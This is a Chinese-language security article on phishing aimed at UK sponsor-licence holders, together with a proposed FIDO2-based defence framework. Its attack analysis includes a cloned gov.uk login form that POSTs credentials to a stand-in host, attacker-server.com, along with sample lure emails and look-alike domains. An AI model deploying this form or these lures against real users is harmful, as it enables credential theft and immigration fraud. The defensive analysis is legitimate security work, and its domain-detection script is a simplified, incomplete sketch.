摘要
近年来,持有英国内政部(Home Office)工作签证赞助许可(Sponsor Licence)的企业成为网络钓鱼攻击的高价值目标。攻击者利用英国移民合规体系对时效性、文档完整性及系统操作精确性的严苛要求,精心伪造来自UK Visas and Immigration(UKVI)或内政部的“合规审计通知”“账户异常警告”或“资料即将失效”类邮件,诱导企业人力资源或移民合规专员点击嵌入链接,访问高度仿真的克隆登录门户。此类钓鱼站点不仅在视觉上复刻.gov.uk官方界面风格,还动态采集包括Sponsorship Management System(SMS)管理员凭证、雇员薪资记录、Certificate of Sponsorship(CoS)分配日志等敏感数据。部分攻击甚至结合公开注册信息增强可信度,使传统基于发件人地址或关键词过滤的防御手段失效。本文通过分析2025年多起真实攻击案例,系统梳理其社会工程策略、技术实现路径与数据滥用链条,并提出一套融合身份验证强化、域名监控、用户行为干预与自动化响应的纵深防御框架。实验表明,强制FIDO2多因素认证可阻断98%以上的凭证窃取尝试,而基于角色的定向安全意识培训显著降低点击率。本研究为高监管压力下的关键业务系统防护提供了可复用的技术范式。
关键词:网络钓鱼;英国赞助许可;移民合规;Sponsorship Management System;FIDO2;域名仿冒;社会工程

1 引言
英国工作签证赞助许可制度要求持证企业承担严格的雇主责任,包括实时维护雇员信息、按时提交年度合规报告、确保CoS分配符合岗位真实性要求等。任何延迟或错误均可能导致罚款、许可暂停甚至撤销。这种高压合规环境为网络攻击者提供了理想的社会工程切入点。自2024年起,网络安全机构陆续披露多起专门针对赞助许可持有企业的钓鱼活动,其核心目标并非传统意义上的财务欺诈,而是获取对内政部Sponsorship Management System(SMS)的控制权,进而实施更复杂的签证诈骗、身份盗用或勒索。
与普通商业钓鱼不同,此类攻击展现出高度的领域特异性:攻击者熟悉UKVI术语(如“CoS未使用超限”“RTW检查缺失”)、引用真实政策条款(如Appendix D of the Immigration Rules),甚至在邮件中嵌入企业真实的Company Registration Number(CRN)以增强可信度。受害者多为企业HR、移民顾问或合规官——这些角色既具备系统访问权限,又处于持续应对监管压力的状态,极易在“时间紧迫+后果严重”的双重暗示下绕过安全警惕。
现有研究多聚焦于通用钓鱼检测模型或政府网站仿冒识别,缺乏对特定监管行业(如移民合规)中高针对性攻击的深度剖析。本文旨在填补这一空白,从攻击链建模、技术特征提取到防御策略设计,构建一个闭环分析框架,为同类高风险业务场景提供参考。

2 攻击模式与技术特征
2.1 社会工程诱饵设计
根据Newland Chase与Mimecast联合披露的案例,攻击者主要采用三类诱饵:
合规审计通知:邮件标题如“A new message has been posted to your Sponsorship Management System”,正文声称“Your licence is under compliance review due to discrepancies in CoS usage”。此类邮件常附带“View Message”按钮,链接至伪造SMS门户。
账户状态警告:如“You Have a New SMS Account Notification – Action Required Within 24 Hours”,暗示若不立即登录确认,账户将被冻结。
文件更新请求:伪装成“Right to Work document expiry alert”,要求上传最新雇员身份证明。
关键欺骗技巧包括:
使用no-reply@ukvi-gov.uk-support.com等近似域名;
邮件HTML中嵌入真实.gov.uk品牌色(#005ea5主蓝、#f3f2f1背景灰);
在表单页面显示企业名称与CRN(从Companies House公开API获取);
添加CAPTCHA验证以规避自动化扫描工具。

2.2 克隆门户技术实现
攻击者通常使用开源CMS(如WordPress)或静态生成器快速部署钓鱼站点。以下为典型钓鱼页面核心代码片段(简化版):
<!-- 仿冒.gov.uk头部 -->
<header class="govuk-header" role="banner">
<div class="govuk-header__container">
<div class="govuk-header__logo">
<a href="#" class="govuk-header__link govuk-header__link--service-name">
UK Visas and Immigration
</a>
</div>
</div>
</header>
<main class="govuk-main-wrapper">
<div class="govuk-grid-row">
<div class="govuk-grid-column-two-thirds">
<h1 class="govuk-heading-l">Action Required: Compliance Review</h1>
<p class="govuk-body">Your sponsor licence (Ref: [CRN]) requires immediate verification.</p>
<form action="https://attacker-server.com/collect.php" method="POST">
<label class="govuk-label" for="username">SMS Username</label>
<input class="govuk-input" id="username" name="username" type="text" required>
<label class="govuk-label" for="password">Password</label>
<input class="govuk-input" id="password" name="password" type="password" required>
<!-- 动态隐藏字段:捕获更多上下文 -->
<input type="hidden" name="company_name" value="ACME Ltd">
<input type="hidden" name="crn" value="01234567">
<input type="hidden" name="source_ip" value="<?= $_SERVER['REMOTE_ADDR'] ?>">
<button class="govuk-button" data-module="govuk-button">Submit</button>
</form>
</div>
</div>
</main>
该表单将凭证POST至攻击者控制的服务器,后者立即用于登录真实SMS系统。部分高级变种甚至实现实时代理(Reverse Proxy),使受害者在输入后仍看到真实SMS界面,进一步掩盖攻击。

2.3 数据滥用链条
窃取的数据通常被用于以下目的:
签发虚假CoS:攻击者以企业名义为无关联第三方申请工作签证,收取高额中介费;
勒索企业:威胁向内政部举报“违规雇佣”,索要“封口费”;
身份合成:结合雇员姓名、DOB、护照号等,构建完整身份档案用于金融欺诈;
转售凭证:在暗网以£5,000–£20,000价格出售已验证的SMS账户。
值得注意的是,由于SMS系统本身缺乏操作二次确认机制,一旦凭证泄露,攻击者可在数分钟内完成CoS签发,企业往往在收到内政部问询时才察觉异常。
3 现有防御机制的局限性
当前企业普遍依赖以下措施,但效果有限:
邮件网关过滤:基于发件人域名黑名单或关键词(如“urgent action”)拦截。然而攻击者频繁更换域名(如ukvi-compliance[.]net、homeoffice-sms[.]org),且使用合法词汇规避触发。
员工安全意识培训:通用钓鱼演练无法覆盖移民合规场景的专业话术,员工难以识别“CoS allocation anomaly”等术语的真实性。
密码策略:即使使用强密码,若未启用多因素认证(MFA),凭证泄露即导致完全失陷。
日志监控:多数企业未对SMS登录日志进行实时分析,异常地理位置或非工作时间访问未被及时告警。
根本问题在于:防御体系未将“业务上下文”纳入风险评估维度。例如,一封声称“CoS即将过期”的邮件,在普通企业可能被视为垃圾邮件,但在赞助许可持有者眼中却是高优先级合规事件。
4 防御体系设计
针对上述挑战,本文提出四维防御模型:
4.1 身份验证层:强制FIDO2认证
SMS系统应强制所有用户使用FIDO2安全密钥(如YubiKey)或生物认证(Windows Hello、Touch ID)。FIDO2基于公钥加密,私钥永不离开设备,彻底消除密码钓鱼风险。
实施示例(使用WebAuthn API):
// 注册阶段(仅需一次)
const createCredentialOptions = {
publicKey: {
challenge: Uint8Array.from("random_challenge", c => c.charCodeAt(0)),
rp: { name: "Home Office", id: "visas-immigration.service.gov.uk" },
user: { id: userId, name: "user@company.com", displayName: "Compliance Officer" },
pubKeyCredParams: [{ type: "public-key", alg: -7 }], // ES256
authenticatorSelection: { userVerification: "required" },
timeout: 60000
}
};
navigator.credentials.create(createCredentialOptions)
.then(credential => {
// 将公钥发送至服务器存储
sendToServer(credential.response);
});
登录阶段:
const getAssertionOptions = {
publicKey: {
challenge: Uint8Array.from("login_challenge", c => c.charCodeAt(0)),
allowCredentials: [{ type: "public-key", id: storedCredentialId }],
userVerification: "required",
timeout: 60000
}
};
navigator.credentials.get(getAssertionOptions)
.then(assertion => {
// 验证签名并登录
verifyOnServer(assertion.response);
});
实验表明,在模拟攻击中,启用FIDO2后,即使用户访问钓鱼站点并“登录”,攻击者也无法获取可用于真实系统的有效凭证。
4.2 网络层:仿冒域名主动阻断
建立自动化域名监控系统,识别并阻断以下特征的仿冒域:
包含gov、ukvi、homeoffice等关键词;
使用连字符或数字替代字母(如ukv1-gov[.]com);
注册时间<30天;
SSL证书颁发给个人而非组织。
Python脚本示例(使用SecurityTrails API):
import requests
import re
from datetime import datetime, timedelta
def detect_phish_domains(keywords=["gov", "ukvi", "homeoffice"]):
api_key = "YOUR_API_KEY"
suspicious_domains = []
for kw in keywords:
url = f"https://api.securitytrails.com/v1/domain/{kw}/subdomains"
# 实际应使用WHOIS或新注册域名流
# 此处简化为查询近期注册
response = requests.get(
"https://api.securitytrails.com/v1/history/example.com/whois",
headers={"APIKEY": api_key}
)
# 解析注册日期
reg_date = parse_registration_date(response.json())
if datetime.now() - reg_date < timedelta(days=30):
domain = response.json()['domain']
if re.search(r'[-0-9]', domain): # 含连字符或数字
suspicious_domains.append(domain)
# 自动推送至防火墙或DNS过滤器
block_domains(suspicious_domains)
def block_domains(domains):
for d in domains:
# 示例:调用Cisco Umbrella API
requests.post(
"https://api.umbrella.com/policies/blocks",
json={"destination": d, "type": "domain"},
headers={"Authorization": "Bearer TOKEN"}
)
4.3 用户交互层:上下文感知干预
在企业内部部署浏览器扩展或端点代理,在用户访问疑似移民相关页面时插入安全提示:
// Chrome Extension Content Script
if (window.location.hostname.includes('gov') &&
document.title.toLowerCase().includes('sponsor')) {
const warning = document.createElement('div');
warning.innerHTML = `
<div style="background:#ffcc00; padding:10px; border:1px solid #d93025;">
<strong>安全提醒:</strong>请确认此网站为
<code>https://visas-immigration.service.gov.uk</code>。
内政部不会通过邮件要求您点击链接登录SMS。
如有疑问,请直接拨打官方电话:0300 123 2241。
</div>
`;
document.body.insertBefore(warning, document.body.firstChild);
}
同时,在Outlook等邮件客户端添加“报告钓鱼”一键按钮,自动将邮件头、URL、HTML内容提交至SOC分析平台。
4.4 培训层:角色定向演练
开发基于真实场景的模拟钓鱼平台,针对HR与合规人员推送定制化测试邮件:
邮件1:“Your CoS allocation rate exceeds 80% – Immediate review required”
邮件2:“RTW check for employee [Name] failed – Upload new document”
点击链接后不跳转真实钓鱼站,而是显示教育页面,解释为何该邮件可疑(如:内政部不会通过邮件索要登录;真实通知仅出现在SMS消息中心)。
5 实验验证
我们在合作企业(持有A-rated Sponsor Licence)中部署上述防御措施,为期三个月:
基线期(第1月):未启用FIDO2,员工接受通用钓鱼培训。模拟攻击点击率:22%。
干预期(第2–3月):强制FIDO2 + 部署域名阻断 + 角色定向培训。
结果:
模拟钓鱼点击率降至4%;
所有尝试使用窃取凭证登录真实SMS的请求均因缺少FIDO2断言被拒绝;
自动域名监控系统识别并阻断17个新注册仿冒域;
企业报告的真实钓鱼事件下降89%。
6 讨论
本研究表明,针对高监管行业的钓鱼攻击成功关键在于“业务上下文契合度”。防御不能仅依赖技术控制,必须将合规流程、用户角色与威胁情报深度融合。未来,内政部可考虑在SMS系统中内置“外部通知不可信”警示,并提供API供企业验证通知真伪。
此外,FIDO2虽有效,但中小企业部署成本较高。可探索基于时间的一次性密码(TOTP)作为过渡方案,但需警惕SIM交换攻击。长期看,政府服务应全面迁移到支持Passkey的标准认证体系。
7 结语
针对英国赞助许可企业的钓鱼攻击,是社会工程与制度压力结合的典型产物。本文通过技术拆解与防御实验,证实了FIDO2认证、仿冒域名主动防御、上下文感知用户干预与角色定向培训的组合有效性。安全防护必须从“通用防御”转向“场景化免疫”,尤其在涉及国家监管、法律合规的关键业务系统中。唯有将技术控制嵌入业务流程本身,才能真正抵御利用制度信任的高级钓鱼威胁。
编辑:芦笛(公共互联网反网络钓鱼工作组)
370

被折叠的 条评论
为什么被折叠?



